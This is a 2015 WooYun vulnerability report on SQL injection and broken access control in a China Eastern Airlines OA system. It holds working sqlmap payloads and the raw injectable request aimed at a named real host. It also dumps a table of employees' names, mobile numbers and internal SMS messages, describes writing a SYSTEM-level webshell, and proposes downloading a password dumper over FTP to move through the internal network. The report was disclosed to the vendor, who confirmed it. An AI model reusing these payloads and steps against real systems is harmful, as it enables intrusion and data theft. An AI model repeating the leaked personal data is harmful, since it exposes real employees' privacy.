当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139205

漏洞标题:中国东方航空股份有限公司某系统存在高危SQL注入和越权漏洞(大量员工资料\敏感短信\getshell等)

相关厂商:中国东方航空股份有限公司

漏洞作者: HackBraid

提交时间:2015-09-05 23:00

修复时间:2015-10-21 08:32

公开时间:2015-10-21 08:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-05: 细节已通知厂商并且等待厂商处理中
2015-09-06: 厂商已经确认,细节仅向厂商公开
2015-09-16: 细节向核心白帽子及相关领域专家公开
2015-09-26: 细节向普通白帽子公开
2015-10-06: 细节向实习白帽子公开
2015-10-21: 细节向公众公开

简要描述:

RT
SQL注入+越权
高权限的shell,貌似这个系统很危险建议下架处理~

详细说明:

01# 注入和越权点
一枚POST型注入

POST /yyoa/checkWaitdo.jsp HTTP/1.1
Host: cemftp.ce-air.com
Content-Length: 22
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://cemftp.ce-air.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://cemftp.ce-air.com/yyoa/checkWaitdo.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=34796CB0F5DA23A93406B8E26E4E35D4
userID=1&Submit=Submit


userID参数注入且高权限
http://cemftp.ce-air.com/yyoa/assess/js/initDataAssess.jsp

455DD8A5-2CE6-49D0-9598-965D50AB9697.png


02# 敏感数据泄漏
近千万级的数据量

sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: trueName (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: trueName=1' AND (SELECT * FROM (SELECT(SLEEP(5)))Efjh) AND 'cVLL'='cVLL
---
web application technology: JSP
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: userID (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: userID=1%' AND 3576=3576 AND '%'='&Submit=Submit
---
web application technology: JSP
back-end DBMS: MySQL 5.0.12
current user is DBA: True
Database: mysql3235
+------------------------+---------+
| Table | Entries |
+------------------------+---------+
| udt_nodeprocinfo | 7686622 |
| nodetactics | 796821 |
| flownode | 401238 |
| flownode_member | 282304 |
| oalogin | 243729 |
| udt_node | 240564 |
| flow_log | 179950 |
| sms_log | 88500 |
| boardsumnew | 69899 |
| attachment_all | 63320 |
| flow_branch | 45945 |
| document | 43381 |
| hr_wage_content | 31673 |
| p_nodetactics | 21067 |
| portlet_channel_cfg | 17089 |
| urge_item | 16143 |
| urger | 16143 |
| udt_flow | 13518 |
| messagehistory | 12404 |
| hj_document_file | 11389 |
| board_potent | 11231 |
| doc_bill_depart | 9034 |
| doc_bill | 7632 |
| arc_folderitem | 7487 |
| gov_mark_record | 6746 |
| docinfo | 6214 |
| commonnumbers | 5731 |
| utd_00173 | 5543 |
| waitdo | 5087 |
| p_flownode_member | 5065 |
| p_flownode | 5046 |
| doc_ext_data | 4037 |
| hj_document_signature | 3020 |
| utm_00142 | 2975 |
| udt_fieldlist | 2774 |
| utm_00166 | 2676 |
| oaloginmax | 2336 |
| teamperson | 2105 |
| onlinemessage | 1990 |
| `routine` | 1939 |
| dep_operate_log | 1625 |
| utm_00173 | 1610 |
| public_info | 1431 |
| sendrange | 1431 |
| utd_00163 | 1332 |
| arc_folderitem_keyword | 1123 |
| rshare_range | 1051 |
| utm_00132 | 1035 |
| oalogs | 989 |
| assess_node | 976 |
| arc_potent | 873 |
| p_document | 787 |
| doc_element_access | 704 |
| meetingmen | 704 |
| doc_press | 686 |
| flowstatpotentlog | 661 |
| utd_00159 | 623 |
| utm_00144 | 614 |
| team | 611 |
| template_operate_log | 604 |
| doc_appendix | 551 |
| arc_myfavorite | 517 |
| act_tactics | 496 |
| usermenu | 478 |
| utm_00170 | 439 |
| person | 352 |
| hr_extends_person | 343 |
| hr_person_basic | 343 |
| hr_person_contact | 343 |
| all_sequences | 325 |
| utm_00167 | 316 |
| t_awake_user | 308 |
| utm_00154 | 262 |
| ocupation | 229 |
| relpeople | 222 |
| doc_bbs | 219 |
| utm_00135 | 211 |
| btoa_event_reply | 202 |
| udt_enumvalue | 176 |
| utm_00159 | 173 |
| doc_format_element | 169 |
| utm_00193 | 169 |
| utm_00163 | 167 |
| utm_00192 | 155 |
| utm_00160 | 143 |
| fun_right_relation | 142 |
| udt_list | 133 |
| utd_00178 | 124 |
| utm_00174 | 121 |
| dep_tea_rel | 117 |
| utm_00183 | 109 |
| workplan_flow | 108 |
| utm_00178 | 107 |
| utm_00152 | 105 |
| assess_document | 101 |
| flow_condition | 94 |
| utm_00212 | 91 |
| utm_00208 | 84 |
| department | 80 |
| auto_reply | 77 |
| uds_search | 76 |
| workplan | 75 |
| serial_num | 74 |
| utm_00204 | 71 |
| ext_u8_fieldmap | 69 |
| hr_event_record | 69 |
| hr_wage_protection | 64 |
| utm_00171 | 61 |
| utm_00205 | 61 |
| utm_00148 | 60 |
| utm_00177 | 57 |
| user_skin | 56 |
| routine_relper | 55 |
| publicmessageset | 54 |
| utm_00161 | 53 |
| flowstatpotent | 50 |
| portletdefaultcfginfo | 49 |
| utm_00210 | 49 |
| btoa_event | 48 |
| fun_structure | 48 |
| reltactics | 47 |
| utm_00153 | 45 |
| doc_element | 44 |
| actors | 40 |
| assess_actorsset | 40 |
| public_owner | 40 |
| officerincharge | 38 |
| portletusercfg | 38 |
| uds_field | 37 |
| arc_message | 36 |
| rel_info | 36 |
| urge_remind | 36 |
| workplan_tactics | 36 |
| meetingresource | 35 |
| utm_00162 | 35 |
| utd_00158 | 34 |
| utd_00164 | 33 |
| team_right | 31 |
| utm_00156 | 30 |
| meetingrecord | 27 |
| atype | 26 |
| hr_wage_field | 26 |
| udt_enumlist | 26 |
| utm_00207 | 25 |
| utm_00211 | 25 |
| object_potent | 24 |
| outperson_right | 24 |
| t_awake | 24 |
| utm_00187 | 23 |
| arc_potent_relation | 22 |
| gov_mark_no | 21 |
| utd_00157 | 21 |
| ocupation_category | 20 |
| outterlink | 20 |
| utm_00139 | 20 |
| utm_00155 | 20 |
| subdepartment | 18 |
| commonboardtype | 17 |
| dtype | 16 |
| utm_00176 | 16 |
| utm_00189 | 16 |
| utm_00213 | 16 |
| assess_member | 15 |
| dep_mgr_info | 15 |
| subocupation | 15 |
| tactics | 15 |
| utd_00138 | 15 |
| utm_00168 | 15 |
| utm_00206 | 15 |
| outperson_category | 14 |
| urge_log | 14 |
| doc_favorite | 13 |
| otype | 13 |
| document_history | 12 |
| ext_u8_config | 12 |
| utm_00158 | 11 |
| utm_00190 | 11 |
| ext_u8_reg | 9 |
| ext_spoa_officeright | 8 |
| portletdefaultcfg | 8 |
| uds_list | 8 |
| utm_00195 | 8 |
| utm_00216 | 8 |
| assess_holiydays | 7 |
| ext_spoa_carapply | 7 |
| utm_00188 | 7 |
| utm_00194 | 7 |
| assess_date_type | 6 |
| attachment_log | 6 |
| gov_mark_history | 6 |
| outterlink_access | 6 |
| utm_00138 | 6 |
| hj_signature | 5 |
| hr_event | 5 |
| meeting_bbs | 5 |
| utm_00117 | 5 |
| utm_00147 | 5 |
| utm_00196 | 5 |
| btoa_resource | 4 |
| document_signature | 4 |
| page_area | 4 |
| public_top | 4 |
| secretlevel | 4 |
| utm_00164 | 4 |
| doc_sequences | 3 |
| dtype_default | 3 |
| ext_spoa_assetcategory | 3 |
| gov_mark | 3 |
| gov_mark_dept | 3 |
| important | 3 |
| outterlink_category | 3 |
| systemright | 3 |
| templatetype | 3 |
| uds_myselect | 3 |
| updatedbflage | 3 |
| utm_00157 | 3 |
| assess_qualitygrade | 2 |
| defaultportlet_potent | 2 |
| ext_spoa_carinfo | 2 |
| hr_manager | 2 |
| oa_databaseinfo | 2 |
| partition_info | 2 |
| utm_00122 | 2 |
| utm_00184 | 2 |
| archivedirectory | 1 |
| assess_efficiencygrade | 1 |
| assess_work_sheet | 1 |
| company | 1 |
| ext_spoa_assetinfo | 1 |
| ext_spoa_assetlend | 1 |
| license | 1 |
| nodetacticsteamid | 1 |
| outperson | 1 |
| ptype | 1 |
| relationsheep | 1 |
| udt_tablename | 1 |
| user_homepage | 1 |
| utm_00106 | 1 |
| utm_00108 | 1 |
| utm_00110 | 1 |
| utm_00115 | 1 |
| utm_00133 | 1 |
| utm_00136 | 1 |
| utm_00143 | 1 |
| utm_00149 | 1 |
| utm_00169 | 1 |
| utm_00180 | 1 |
| utm_00185 | 1 |
| utm_00191 | 1 |
+------------------------+---------+


10W公文的短信

Database: mysql3235
Table: sms_log
[76 entries]
+----+-------+---------------------+---------+---------+----------------------------------------------+-------------+
| id | perid | smstime | msgtype | logInfo | msgcontent | phonnumber |
+----+-------+---------------------+---------+---------+----------------------------------------------+-------------+
| 1 | 10077 | 2009-02-18 18:03:54 | 0 | NULL | test[滕君浩,A6协同] | 13918767087 |
| 2 | 10004 | 2009-02-19 13:35:30 | 0 | NULL | 测试[张成,A6协同] | 13524308602 |
| 3 | 10011 | 2009-02-24 08:49:23 | 0 | NULL | 请速到公司[胡鲲,A6协同] | 13482488686 |
| 4 | 10011 | 2009-02-24 08:51:33 | 0 | NULL | 请按正常上班时间速到公司[胡鲲,A6协同] | 13817188885 |
| 5 | 10011 | 2009-02-24 08:51:33 | 0 | NULL | 请按正常上班时间速到公司[胡鲲,A6协同] | 13482488686 |
| 6 | 10011 | 2009-02-24 08:53:30 | 0 | NULL | 测试[胡鲲,A6协同] | 13701678139 |
| 7 | 10077 | 2009-02-24 08:56:28 | 0 | NULL | oa test[滕君浩,A6协同] | 13701678139 |
| 8 | 10077 | 2009-02-24 08:56:28 | 0 | NULL | oa test[滕君浩,A6协同] | 13918767087 |
| 9 | 10020 | 2009-02-24 09:05:26 | 0 | NULL | 是在测试吗?谁没按正常上班时间到公司阿?[童继红,A6协同] | 13701678139 |
| 10 | 10011 | 2009-02-25 10:30:56 | 0 | NULL | 低值易耗品流程已经退回撤消,申请流程由黄晓丹发起。[胡鲲,A6协同] | 13901898527 |
| 11 | 10015 | 2009-03-06 10:55:02 | 0 | NULL | 123[马顺龙,A6协同] | 13817188885 |
| 12 | -2 | 2009-03-18 14:07:15 | 0 | NULL | 协同:"培训的相关事项"已被张妍蓉处理! | 13524308602 |
| 13 | -2 | 2009-03-18 14:20:23 | 0 | NULL | 协同:"上报公司房改方案的请示"已被陈奎暂存待办! | 13701678139 |
| 14 | -2 | 2009-03-18 14:20:34 | 0 | NULL | 协同:"完成公司绩效考核办法"已被陈奎暂存待办! | 13701678139 |
| 15 | -2 | 2009-03-18 16:24:16 | 0 | NULL | 郑琛发起公告:请大家更改短信息通知设置(具体方法见内) | 13701678139 |
| 16 | -2 | 2009-03-18 16:54:37 | 0 | NULL | 郑琛发起公告:关于OA系统短信功能调整的通知 | 13701678139 |
| 17 | -2 | 2009-03-19 09:28:28 | 0 | NULL | 胡鲲发起协同:"短信测试" | 13482488686 |
| 18 | 10077 | 2009-03-19 09:34:14 | 0 | NULL | test[滕君浩,A6协同] | 13482488686 |
| 19 | 10077 | 2009-03-19 09:34:49 | 0 | NULL | test[滕君浩,A6协同] | 13564614536 |
| 20 | 10020 | 2009-03-19 09:36:57 | 0 | NULL | 很好看[童继红,A6协同] | 13701678139 |
| 21 | -2 | 2009-03-19 09:50:19 | 0 | NULL | 胡宇回执了会议:"东达公司科学发展观实践活动调研会" | 13701678139 |
| 22 | -2 | 2009-03-19 10:09:23 | 0 | NULL | 蒋婷婷发起协同:"test" | 13003131257 |
| 23 | -2 | 2009-03-19 11:44:54 | 0 | NULL | 郑琛发起协同:"普法培训意见调查表 样稿" | 13701678139 |
| 24 | -2 | 2009-03-19 11:50:41 | 0 | NULL | 协同《完成公司绩效考核办法》已过处理期限,请尽快办理! | 13061631195 |
| 25 | -2 | 2009-03-19 11:50:41 | 0 | NULL | 协同《完成公司绩效考核办法》已过处理期限,请检查工作流程进度! | 13701678139 |
| 26 | -2 | 2009-03-19 13:05:18 | 0 | NULL | 胡益绯发起会议:"无" | 13901602167 |
| 27 | -2 | 2009-03-19 13:30:09 | 0 | NULL | 2009-03-19 13:30---2009-03-19 14:00 你有会议:无 | 13901602167 |
| 28 | -2 | 2009-03-19 14:00:47 | 0 | NULL | 吴翀发起协同:"传媒战略调整" | 13901602167 |
| 29 | -2 | 2009-03-19 14:04:37 | 0 | NULL | 吴翀发起协同:"(第1次重复发起)传媒战略调整" | 13901602167 |
| 30 | -2 | 2009-03-19 15:00:59 | 0 | NULL | 协同《关于报社要求电话调整的工作安排》已过处理期限,请检查工作流程进度! | 13701678139 |
| 31 | -2 | 2009-03-20 04:09:54 | 0 | NULL | 协同《OA表单修改》已过处理期限,请检查工作流程进度! | 13482488686 |
| 32 | -2 | 2009-03-20 10:26:44 | 0 | NULL | 马顺龙发起协同: "空防人员信息表" | 13901602167 |
| 33 | -2 | 2009-03-20 10:26:44 | 0 | NULL | 马顺龙发起协同: "空防人员信息表" | 13801623092 |
| 34 | -2 | 2009-03-20 10:26:44 | 0 | NULL | 马顺龙发起协同: "空防人员信息表" | 13311988053 |
| 35 | -2 | 2009-03-20 11:23:07 | 0 | NULL | 协同:"空防人员信息表"已被王晓国暂存待办! | 13701678139 |
| 36 | -2 | 2009-03-20 13:01:34 | 0 | NULL | 郑琛发起协同:"合同(协议书)签订审批表_郑琛_2009-3-20" | 13701678139 |
| 37 | -2 | 2009-03-20 13:51:51 | 0 | NULL | 马顺龙发起协同:"报废表" | 13664525552 |
| 38 | -2 | 2009-03-20 14:01:57 | 0 | NULL | 郑琛发起协同:"合同(协议书)签订审批表_郑琛_2009-3-20" | 13701678139 |
| 39 | -2 | 2009-03-20 14:03:05 | 0 | NULL | 协同:"合同(协议书)签订审批表_郑琛_2009-3-20"被胡鲲回退!发起人郑琛 | 13482488686 |
| 40 | -2 | 2009-03-20 14:05:03 | 0 | NULL | 郑琛发起协同:"合同(协议书)签订审批表_郑琛_2009-3-20" | 13701678139 |
| 41 | -2 | 2009-03-20 14:08:36 | 0 | NULL | 协同:"合同(协议书)签订审批表_郑琛_2009-3-20"已被胡鲲处理! | 13482488686 |
| 42 | -2 | 2009-03-20 14:08:36 | 0 | NULL | 郑琛发起协同: "合同(协议书)签订审批表_郑琛_2009-3-20" | 13482488686 |
| 43 | -2 | 2009-03-20 15:04:48 | 0 | NULL | 胡鲲发起协同:"修订模式测试" | 13482488686 |
| 44 | -2 | 2009-03-20 15:08:13 | 0 | NULL | 胡鲲发起协同:"以协同流程替代合同审批流程测试" | 13482488686 |
| 45 | -2 | 2009-03-20 22:25:01 | 0 | NULL | 郑琛发起协同: "东方航空传媒有限公司用印申请单_郑琛_2009-3-20" | 13816825273 |
| 46 | -2 | 2009-03-20 22:28:41 | 0 | NULL | 郑琛发起协同: "东方航空传媒有限公司用印申请单_郑琛_2009-3-20" | 13816825273 |
| 47 | -2 | 2009-03-21 03:49:51 | 0 | NULL | 协同《广告合同签订审批表_熊超_2009-3-20》已过处理期限,请尽快办理! | 13482488686 |
| 48 | -2 | 2009-03-21 09:30:25 | 0 | NULL | 协同《上报公司房改方案的请示》已过处理期限,请尽快办理! | 13512199015 |
| 49 | -2 | 2009-03-21 09:30:25 | 0 | NULL | 协同《上报公司房改方案的请示》已过处理期限,请尽快办理! | 13061631195 |
| 50 | -2 | 2009-03-21 09:30:25 | 0 | NULL | 协同《上报公司房改方案的请示》已过处理期限,请检查工作流程进度! | 13701678139 |
| 51 | -2 | 2009-03-23 08:31:30 | 0 | NULL | 协同:"空防人员信息表"已被叶秀芳处理! | 13701678139 |
| 52 | -2 | 2009-03-23 08:31:30 | 0 | NULL | 协同:"空防人员信息表"已被叶秀芳处理! | 13664525552 |
| 53 | -2 | 2009-03-23 09:05:42 | 0 | NULL | 胡鲲对协同"空防人员信息表"中的蒋婷婷意见进行了回复! | 13664525552 |
| 54 | -2 | 2009-03-23 09:07:35 | 0 | NULL | 胡鲲发起协同:"周三下午集团会议人事口参加" | 13061631195 |
| 55 | -2 | 2009-03-23 09:25:56 | 0 | NULL | 马顺龙对协同"空防人员信息表"的正文进行了补充说明! | 13901602167 |
| 56 | -2 | 2009-03-23 09:25:56 | 0 | NULL | 马顺龙对协同"空防人员信息表"的正文进行了补充说明! | 13801623092 |
| 57 | -2 | 2009-03-23 09:25:56 | 0 | NULL | 马顺龙对协同"空防人员信息表"的正文进行了补充说明! | 13311988053 |
| 58 | 10020 | 2009-03-23 10:04:17 | 0 | NULL | OA系统公文管理员培训提前至10:15分开始,地点:三楼会议室。[童继红,A6协同] | 13816390608 |
| 59 | 10020 | 2009-03-23 10:04:17 | 0 | NULL | OA系统公文管理员培训提前至10:15分开始,地点:三楼会议室。[童继红,A6协同] | 13901602167 |
| 60 | 10020 | 2009-03-23 10:04:17 | 0 | NULL | OA系统公文管理员培训提前至10:15分开始,地点:三楼会议室。[童继红,A6协同] | 13801623092 |
| 61 | 10020 | 2009-03-23 10:04:17 | 0 | NULL | OA系统公文管理员培训提前至10:15分开始,地点:三楼会议室。[童继红,A6协同] | 13816960296 |
| 62 | 10020 | 2009-03-23 10:04:17 | 0 | NULL | OA系统公文管理员培训提前至10:15分开始,地点:三楼会议室。[童继红,A6协同] | 13664525552 |
| 63 | -2 | 2009-03-23 10:06:47 | 0 | NULL | 胡鲲发起协同:"完成电子公章及签名章起用流程" | 13482488686 |
| 64 | -2 | 2009-03-23 10:44:48 | 0 | NULL | 协同:"走廊灯维修"已被王晓国处理! | 13701678139 |
| 65 | -2 | 2009-03-23 10:50:00 | 0 | NULL | 郑琛发起协同: "OA表单修改" | 13311988053 |
| 66 | -2 | 2009-03-23 10:56:01 | 0 | NULL | 张成发起协同:"test" | 13311988053 |
| 67 | -2 | 2009-03-23 13:52:04 | 0 | NULL | 协同:"关于报社要求电话调整的工作安排"已被马顺龙处理! | 13701678139 |
| 68 | -2 | 2009-03-23 14:05:35 | 0 | NULL | 协同:"空防人员信息表"已被殷芳暂存待办! | 13701678139 |
| 69 | -2 | 2009-03-23 14:25:38 | 0 | NULL | 协同《传媒公司车辆使用申请单_严晓璐_2009-3-23》已过处理期限,请尽快办理! | 13701678139 |
| 70 | -2 | 2009-03-23 14:27:01 | 0 | NULL | 协同:"空防人员信息表"已被宋梦洁暂存待办! | 13701678139 |
| 71 | -2 | 2009-03-23 14:42:50 | 0 | NULL | 蒋婷婷发起协同:"关于与东达劳动合同的员工岗位工资升档的请示" | 13701678139 |
| 72 | -2 | 2009-03-23 14:49:44 | 0 | NULL | 协同:"关于与东达劳动合同的员工岗位工资升档的请示"已被胡鲲处理! | 13664525552 |
| 73 | -2 | 2009-03-23 15:58:20 | 0 | NULL | 张成发起协同: "传媒公司车辆使用申请单NEW_张成_2009-3-23" | 15921306651 |
| 74 | -2 | 2009-03-23 16:02:25 | 0 | NULL | 协同:"空防人员信息表"已被殷芳处理! | 13664525552 |
| 75 | -2 | 2009-03-23 16:07:05 | 0 | NULL | 协同取消:严晓璐发起的"传媒公司车辆使用申请单_严晓璐_2009-3-23"协同被取消! | 13801623092 |
| 76 | NULL |
+----+-------+---------------------+---------+---------+----------------------------------------------+-------------+


03# getshell
由于是高权限可以写shell,就差路径了,然后我猜测了下这个系统的默认的安装路径如下:
C:/Program Files/UFseeyon/OA/tomcat/webapps/yyoa/
然后sqlmap试了下,注意空格必须用%20才行,成功了,还是system权限!

d.jpg


还是个域环境,用户好多

d1.png


之后写个bat远程ftp下载dump明文密码的exe就能内网漫游了,哈哈点到为止~

漏洞证明:

点到为止

修复方案:

先下架后更新升级

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-06 08:30

厂商回复:

十分感谢!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-05 23:02 | 红客十年 ( 普通白帽子 | Rank:336 漏洞数:64 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)

    嗯,过程不错。很精彩

  2. 2015-09-05 23:03 | prolog ( 普通白帽子 | Rank:567 漏洞数:108 | 低调求发展)

    嗯,过程不错。很精彩

  3. 2015-09-05 23:26 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    爱过

  4. 2015-09-06 01:55 | pyphrb ( 实习白帽子 | Rank:47 漏洞数:6 | ...........................................)

    爱过

  5. 2015-09-06 08:35 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    大狗,我发现你最近的漏洞标题都特别长啊